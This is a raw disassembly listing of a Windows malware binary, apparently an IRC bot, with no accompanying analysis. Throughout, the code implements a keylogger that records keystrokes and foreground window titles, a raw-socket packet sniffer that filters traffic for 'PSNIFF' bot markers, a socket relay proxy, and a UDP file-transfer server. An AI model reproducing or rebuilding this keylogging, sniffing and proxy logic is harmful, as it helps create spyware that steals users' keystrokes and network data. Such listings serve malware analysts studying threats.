loc_412324: ; CODE XREF: sub_41230E+BEj
; sub_41230E+EEj
xor ecx, ecx
mov [ebp+var_100], ebx
inc ecx
xor eax, eax
mov [ebp+var_104], ecx
loc_412335: ; CODE XREF: sub_41230E+36j
mov edx, [ebp+arg_0]
cmp [ebp+eax*4+var_100], edx
jz short loc_412346
inc eax
cmp eax, ecx
jb short loc_412335
loc_412346: ; CODE XREF: sub_41230E+31j
cmp eax, ecx
jnz short loc_41235A
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_41235A: ; CODE XREF: sub_41230E+3Aj
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4CE2F0 ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4CE1F4 ; __WSAFDIsSet
test eax, eax
jz short loc_4123BA
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_4CE320 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412402
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jz short loc_412402
loc_4123BA: ; CODE XREF: sub_41230E+7Ej
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4CE1F4 ; __WSAFDIsSet
test eax, eax
jz loc_412324
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_4CE320 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412402
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jnz loc_412324
loc_412402: ; CODE XREF: sub_41230E+93j
; sub_41230E+AAj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41230E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412407 proc near ; CODE XREF: sub_412407:loc_41285Ap
; DATA XREF: sub_401AA1+2061o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
xor ebx, ebx
push edi
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4CE388 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4124A7
push 190h
call dword_428080 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_412487
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409743
add esp, 14h
loc_412487: ; CODE XREF: sub_412407+5Bj
lea eax, [ebp+var_778]
push eax
call sub_415F45
push [ebp+var_168]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_4124A7: ; CODE XREF: sub_412407+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4CE2E8 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4CE2E8 ; setsockopt
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov dword_441254[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call dword_4CE308 ; ntohs
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4CE334 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412531
push 1388h
call dword_428080 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_41285A
; ---------------------------------------------------------------------------
loc_412531: ; CODE XREF: sub_412407+10Fj
lea eax, [ebp+var_370]
push offset dword_42A068
push eax
call sub_41BB32
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_412597
push 190h
call dword_428080 ; Sleep
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409743
lea eax, [ebp+var_778]
push eax
call sub_415F45
push [ebp+var_168]
call sub_40B56A
add esp, 1Ch
push ebx
call dword_4280D4 ; ExitThread
loc_412597: ; CODE XREF: sub_412407+142j
; sub_412407+40Dj
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_41281D
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4CE2F0 ; select
test eax, eax
jle loc_412811
mov al, byte_4404C4
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4CE2E0 ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_50]
push eax
call sub_41BEF6
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_4127FB
cmp [ebp+var_CF], 1
jnz loc_412707
lea eax, [ebp+var_26C]
push eax
call sub_41B650
push ebx
push ebx
push [ebp+var_4]
call sub_41D88C
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41B78A
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CE36C ; sendto
cmp [ebp+var_D8], ebx
jnz short loc_4126F5
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409743
add esp, 14h
loc_4126F5: ; CODE XREF: sub_412407+2C9j
lea eax, [ebp+var_778]
push eax
call sub_415F45
pop ecx
jmp loc_412811
; ---------------------------------------------------------------------------
loc_412707: ; CODE XREF: sub_412407+257j
cmp [ebp+var_CF], 4
jnz loc_4127FB
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_41273E
inc al
xor cl, cl
mov [ebp+var_575], bl
jmp short loc_412746
; ---------------------------------------------------------------------------
loc_41273E: ; CODE XREF: sub_412407+329j
inc cl
mov [ebp+var_575], cl
loc_412746: ; CODE XREF: sub_412407+335j
mov [ebp+var_576], al
mov edi, 200h
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, edi
push eax
push [ebp+var_4]
call sub_41D88C
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_41B78A
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CE36C ; sendto
cmp edi, ebx
jnz short loc_412811
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset dword_437E40
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_4127E6
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409743
add esp, 14h
loc_4127E6: ; CODE XREF: sub_412407+3BAj
lea eax, [ebp+var_778]
push eax
call sub_415F45
inc dword_4D0E00
pop ecx
jmp short loc_412811
; ---------------------------------------------------------------------------
loc_4127FB: ; CODE XREF: sub_412407+24Aj
; sub_412407+307j
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_437E34
push esi
call dword_4CE36C ; sendto
loc_412811: ; CODE XREF: sub_412407+1E9j
; sub_412407+2FBj ...
cmp [ebp+var_8], ebx
jg loc_412597
mov edi, [ebp+arg_0]
loc_41281D: ; CODE XREF: sub_412407+199j
push esi
call dword_4CE3A0 ; closesocket
push [ebp+var_4]
call sub_41B6CB
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_41284E
push [ebp+var_168]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_41284E: ; CODE XREF: sub_412407+432j
push 3E8h
call dword_428080 ; Sleep
push edi
loc_41285A: ; CODE XREF: sub_412407+125j
call sub_412407
pop edi
pop esi
pop ebx
leave
retn 4
sub_412407 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412866 proc near ; CODE XREF: sub_412911+E2p
; sub_412911+1A4p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = byte ptr 18h
arg_90 = dword ptr 98h
arg_94 = dword ptr 9Ch
push ebp
mov ebp, esp
sub esp, 200h
cmp [ebp+arg_90], 0
jz short loc_4128D6
push ebx
push esi
push 10h
mov esi, offset dword_437E98
pop ebx
loc_412882: ; CODE XREF: sub_412866+6Aj
push esi
push [ebp+arg_4]
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_4128C9
push esi
lea eax, [ebp+var_200]
push [ebp+arg_0]
push offset dword_438E04
push 200h
push eax
call sub_41BFF0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409743
add esp, 28h
loc_4128C9: ; CODE XREF: sub_412866+29j
add esi, 80h
dec ebx
jnz short loc_412882
pop esi
pop ebx
jmp short loc_41290D
; ---------------------------------------------------------------------------
loc_4128D6: ; CODE XREF: sub_412866+10j
push [ebp+arg_0]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push 200h
push eax
call sub_41BFF0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409743
add esp, 24h
loc_41290D: ; CODE XREF: sub_412866+6Ej
xor eax, eax
leave
retn
sub_412866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412911 proc near ; DATA XREF: sub_401AA1+72CDo
var_920 = dword ptr -920h
var_91C = byte ptr -91Ch
var_520 = byte ptr -520h
var_4E0 = byte ptr -4E0h
var_2E1 = byte ptr -2E1h
var_2E0 = byte ptr -2E0h
var_E0 = byte ptr -0E0h
var_DC = dword ptr -0DCh
var_58 = dword ptr -58h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 920h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_920], 0
push 26h
and [ebp+arg_0], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_E0]
rep movsd
mov dword ptr [eax+94h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_91C]
rep stosd
call dword_4CE28C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CE2A4 ; GetWindowTextA
mov ebx, 200h
loc_41296C: ; CODE XREF: sub_412911+494j
push 8
call dword_428080 ; Sleep
call dword_4CE28C ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz loc_412AE4
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CE2A4 ; GetWindowTextA
cmp [ebp+var_58], 0
jz loc_412A69
lea eax, [ebp+var_2E0]
push eax
call sub_41B650
test eax, eax
pop ecx
jbe short loc_412A22
lea eax, [ebp+var_48]
push eax
call sub_41B650
cmp eax, 1
pop ecx
jnb short loc_412A22
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; "..%s.."
push eax
call sub_41BEF6
sub esp, 8Ch
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_412866
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BC00
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BC00
add esp, 0Ch
loc_412A22: ; CODE XREF: sub_412911+9Bj
; sub_412911+AAj
lea eax, [ebp+var_2E0]
push eax
call sub_41B650
test eax, eax
pop ecx
jbe loc_412AE4
lea eax, [ebp+var_48]
push eax
call sub_41B650
test eax, eax
pop ecx
jbe loc_412AE4
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; "..%s.."
push eax
call sub_41BEF6
sub esp, 8Ch
jmp short loc_412A9D
; ---------------------------------------------------------------------------
loc_412A69: ; CODE XREF: sub_412911+86j
lea eax, [ebp+var_48]
push eax
call sub_41B650
test eax, eax
pop ecx
jbe loc_412B8F
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ChangedW ; "..%s.. (Changed Windows: %s)"
push eax
call sub_41BEF6
sub esp, 88h
loc_412A9D: ; CODE XREF: sub_412911+156j
push 26h
lea eax, [ebp+var_48]
pop ecx
lea esi, [ebp+var_E0]
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
push eax
rep movsd
call sub_412866
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BC00
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BC00
add esp, 0Ch
loc_412AE4: ; CODE XREF: sub_412911+6Cj
; sub_412911+120j ...
cmp [ebp+var_58], 0
jz loc_412B8F
push 1
call dword_4CE2D4 ; GetAsyncKeyState
cmp ax, 8001h
jnz loc_412B8F
lea eax, [ebp+var_2E0]
push eax
call sub_41B650
test eax, eax
pop ecx
jbe short loc_412B8F
call dword_4CE28C ; GetForegroundWindow
lea ecx, [ebp+var_520]
push 3Ch
push ecx
push eax
call dword_4CE2A4 ; GetWindowTextA
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; "..%s.."
push eax
call sub_41BEF6
sub esp, 8Ch
lea eax, [ebp+var_520]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_412866
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BC00
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BC00
add esp, 0Ch
loc_412B8F: ; CODE XREF: sub_412911+164j
; sub_412911+1D7j ...
mov [ebp+var_4], offset dword_43869C
loc_412B96: ; CODE XREF: sub_412911+48Aj
push 10h
call dword_4CE1DC ; GetKeyState
movsx esi, ax
mov eax, [ebp+var_4]
mov edi, [eax-4]
push edi
call dword_4CE2D4 ; GetAsyncKeyState
test ah, ah
jns short loc_412C2D
push 14h
call dword_4CE1DC ; GetKeyState
test ax, ax
jz short loc_412BDE
cmp esi, 0FFFFFFFFh
jle short loc_412BDE
cmp edi, 40h
jle short loc_412BDE
cmp edi, 5Bh
jge short loc_412BDE
mov [ebp+edi*4+var_920], 1
jmp loc_412D90
; ---------------------------------------------------------------------------
loc_412BDE: ; CODE XREF: sub_412911+2ACj
; sub_412911+2B1j ...
push 14h
call dword_4CE1DC ; GetKeyState
test ax, ax
jz short loc_412C09
test esi, esi
jge short loc_412C1D
cmp edi, 40h
jle short loc_412C09
cmp edi, 5Bh
jge short loc_412C09
mov [ebp+edi*4+var_920], 2
jmp loc_412D90
; ---------------------------------------------------------------------------
loc_412C09: ; CODE XREF: sub_412911+2D8j
; sub_412911+2E1j ...
test esi, esi
jge short loc_412C1D
mov [ebp+edi*4+var_920], 3
jmp loc_412D90
; ---------------------------------------------------------------------------
loc_412C1D: ; CODE XREF: sub_412911+2DCj
; sub_412911+2FAj
mov [ebp+edi*4+var_920], 4
jmp loc_412D90
; ---------------------------------------------------------------------------
loc_412C2D: ; CODE XREF: sub_412911+29Fj
lea eax, [ebp+edi*4+var_920]
mov esi, [eax]
test esi, esi
jz loc_412D90
and dword ptr [eax], 0
lea eax, [ebp+var_2E0]
push eax
call sub_41B650
cmp edi, 8
pop ecx
jnz short loc_412C60
and [ebp+eax+var_2E1], 0
jmp loc_412D90
; ---------------------------------------------------------------------------
loc_412C60: ; CODE XREF: sub_412911+340j
cmp eax, 1B9h
jbe short loc_412CAF
call dword_4CE28C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CE2A4 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412C9D
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_BufferFu ; "..%s.. (Buffer full)"
loc_412C8C: ; CODE XREF: sub_412911+3E1j
lea eax, [ebp+var_4E0]
push eax
call sub_41BEF6
add esp, 0Ch
jmp short loc_412D13
; ---------------------------------------------------------------------------
loc_412C9D: ; CODE XREF: sub_412911+36Dj
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Buffer_0 ; "..%s.. (Buffer full) (%s)"
jmp short loc_412D04
; ---------------------------------------------------------------------------
loc_412CAF: ; CODE XREF: sub_412911+354j
cmp edi, 0Dh
jnz loc_412D62
lea eax, [ebp+var_2E0]
push eax
call sub_41B650
test eax, eax
pop ecx
jz loc_412D90
call dword_4CE28C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CE2A4 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412CF4
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Return ; "..%s.. (Return)"
jmp short loc_412C8C
; ---------------------------------------------------------------------------
loc_412CF4: ; CODE XREF: sub_412911+3D3j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_ReturnS ; "..%s.. (Return) (%s)"
loc_412D04: ; CODE XREF: sub_412911+39Cj
lea eax, [ebp+var_4E0]
push eax
call sub_41BEF6
add esp, 10h
loc_412D13: ; CODE XREF: sub_412911+38Aj
sub esp, 98h
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_412866
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BC00
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BC00
add esp, 0Ch
jmp short loc_412D90
; ---------------------------------------------------------------------------
loc_412D62: ; CODE XREF: sub_412911+3A1j
cmp esi, 1
jz short loc_412D7B
cmp esi, 3
jz short loc_412D7B
cmp esi, 2
jz short loc_412D76
cmp esi, 4
jnz short loc_412D90
loc_412D76: ; CODE XREF: sub_412911+45Ej
push [ebp+var_4]
jmp short loc_412D82
; ---------------------------------------------------------------------------
loc_412D7B: ; CODE XREF: sub_412911+454j
; sub_412911+459j
mov eax, [ebp+var_4]
add eax, 7
push eax
loc_412D82: ; CODE XREF: sub_412911+468j
lea eax, [ebp+var_2E0]
push eax
call sub_41C530
pop ecx
pop ecx
loc_412D90: ; CODE XREF: sub_412911+2C8j
; sub_412911+2F3j ...
add [ebp+var_4], 14h
cmp [ebp+var_4], offset dword_438DCC
jl loc_412B96
cmp [ebp+arg_0], 0
jz loc_41296C
push [ebp+var_DC]
call sub_40B56A
pop ecx
push 0
call dword_4280D4 ; ExitThread
sub_412911 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412DBF proc near ; DATA XREF: sub_401AA1+4135o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41C190
mov edx, [ebp+arg_0]
push esi
push edi
push 25h
xor eax, eax
pop ecx
mov esi, edx
lea edi, [ebp+var_B4]
inc eax
push 10h
rep movsd
mov [ebp+var_8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp+var_1C]
push esi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_4CE308 ; ntohs
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40A8D5
pop ecx
push eax
call dword_4CE348 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4CE388 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_412E94
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_4397EC
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412E77
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409743
add esp, 14h
loc_412E77: ; CODE XREF: sub_412DBF+96j
lea eax, [ebp+var_2B4]
push eax
call sub_415F45
push [ebp+var_30]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_412E94: ; CODE XREF: sub_412DBF+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_441254[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_4CE334 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412F19
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_4397C0
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412EF5
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409743
add esp, 14h
loc_412EF5: ; CODE XREF: sub_412DBF+114j
lea eax, [ebp+var_2B4]
push eax
call sub_415F45
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_30]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_412F19: ; CODE XREF: sub_412DBF+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4CE2B4 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412F9C
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_439790
push eax
loc_412F4B: ; DATA XREF: .XPack0:off_43D448o
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412F78
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409743
add esp, 14h
loc_412F78: ; CODE XREF: sub_412DBF+197j
lea eax, [ebp+var_2B4]
push eax
call sub_415F45
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_30]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_412F9C: ; CODE XREF: sub_412DBF+177j
push ebx
mov ebx, offset dword_438EA8
loc_412FA2: ; CODE XREF: sub_412DBF+21Cj
; sub_412DBF+22Ej ...
push 0FFFFh
lea eax, [ebp+var_102B4]
push esi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push 0FFFFh
push eax
push edi
call dword_4CE320 ; recv
cmp eax, 0FFFFFFFFh
jz loc_4130CB
cmp [ebp+var_102AB], 6
jnz short loc_412FA2
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412FA2
lea eax, [ebp+var_1028C]
push offset dword_439784
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_412FA2
lea eax, [ebp+var_1028C]
push offset dword_439774
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_412FA2
xor edi, edi
mov eax, ebx
mov [ebp+arg_0], ebx
loc_413024: ; CODE XREF: sub_412DBF+280j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_413049
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_413024
loc_413041: ; CODE XREF: sub_412DBF+307j
mov edi, [ebp+var_4]
jmp loc_412FA2
; ---------------------------------------------------------------------------
loc_413049: ; CODE XREF: sub_412DBF+276j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_4CE238 ; ntohs
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_438EBC[eax*8]
push off_438E98[eax*4]
lea eax, [ebp+var_2B4]
push offset dword_439740
push 200h
push eax
call sub_41BFF0
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_4130B9
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409743
add esp, 14h
loc_4130B9: ; CODE XREF: sub_412DBF+2D8j
lea eax, [ebp+var_2B4]
push eax
call sub_415F45
pop ecx
jmp loc_413041
; ---------------------------------------------------------------------------
loc_4130CB: ; CODE XREF: sub_412DBF+20Fj
call dword_4CE29C ; WSAGetLastError
push eax
push offset dword_439714
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41BFF0
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_413111
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409743
add esp, 14h
loc_413111: ; CODE XREF: sub_412DBF+330j
lea eax, [ebp+var_2B4]
push eax
call sub_415F45
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_30]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
sub_412DBF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413135 proc near ; CODE XREF: sub_413444+216p
; sub_413444+240p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4D104C, eax
mov eax, offset dword_4D104C
retn
sub_413135 endp
; =============== S U B R O U T I N E =======================================
sub_413144 proc near ; CODE XREF: sub_413444+2B7p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_41315E
loc_41315A: ; CODE XREF: sub_413144+29j
; sub_413144+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41315E: ; CODE XREF: sub_413144+14j
push offset asc_42AA28 ; "#l#"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_41315A
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_41315A
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_41315A
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_4131A6
loc_4131A2: ; CODE XREF: sub_413144+71j
; sub_413144+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A6: ; CODE XREF: sub_413144+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
